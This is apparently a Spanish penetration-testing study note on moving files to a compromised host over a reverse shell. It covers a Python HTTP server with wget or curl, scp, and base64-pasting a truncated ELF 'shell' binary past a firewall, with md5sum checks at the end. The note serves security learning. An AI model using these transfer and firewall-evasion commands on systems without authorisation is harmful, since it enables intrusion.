Transferring Files
Durante cualquier prueba de penetración, es probable que necesitemos transferir archivos al servidor remoto, como scripts de enumeración o exploits, o transferir datos de vuelta a nuestro host de ataque. Si bien herramientas como Metasploit con un shell Meterpreter nos permiten usar el Uploadcomando para subir un archivo, necesitamos aprender métodos para transferir archivos con un shell inverso estándar.
Wget:
Hay muchos métodos para lograr esto. Un método consiste en ejecutar un servidor HTTP de Python en nuestra máquina y luego usar wgeto cURLpara descargar el archivo en el host remoto. Primero, accedemos al directorio que contiene el archivo que necesitamos transferir y ejecutamos un servidor HTTP de Python.
python3 -m http.server 80Ahora que hemos configurado un servidor de escucha en nuestra máquina, podemos descargar el archivo en el host remoto en el que tenemos ejecución de código.
wget http://<host>:<port>/<archivo>curl http://<host>:<port>/<archivo> -o <archivo de salida>SCP:
Otro método para transferir archivos sería usar scp, siempre que tengamos las credenciales de usuario SSH en el host remoto.
scp <ruta archivo> <user>@<host>:<ruta para guardar>Base64:
En algunos casos, es posible que no podamos transferir el archivo. Por ejemplo, el host remoto podría tener protecciones de firewall que nos impidan descargar un archivo de nuestro equipo. En este tipo de situación, podemos usar un truco sencillo para codificar el archivo en base64 y luego pegar la base64cadena en el servidor remoto y decodificarla. Por ejemplo, si quisiéramos transferir un archivo binario llamado shell, podríamos codificarlo en base64de la siguiente manera
base64 shell -w 0Ahora, podemos copiar la cadena en base64, ir al host remoto y usarla base64 -dpara decodificarla y canalizar la salida a un archivo.
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shellValidación de transferencia de archivos:
Para validar el formato de un archivo, podemos ejecutar el comando de archivo en él.
file shellComo podemos ver, al ejecutar el filecomando en el shellarchivo, indica que es un binario ELF, lo que significa que lo transferimos correctamente. Para asegurarnos de no haber dañado el archivo durante el proceso de codificación/decodificación, podemos comprobar su hash MD5. En nuestra máquina, podemos ejecutar md5sum.
md5sum shellAhora, podemos ir al servidor remoto y ejecutar el mismo comando en el archivo que transferimos.
md5sum shellLast updated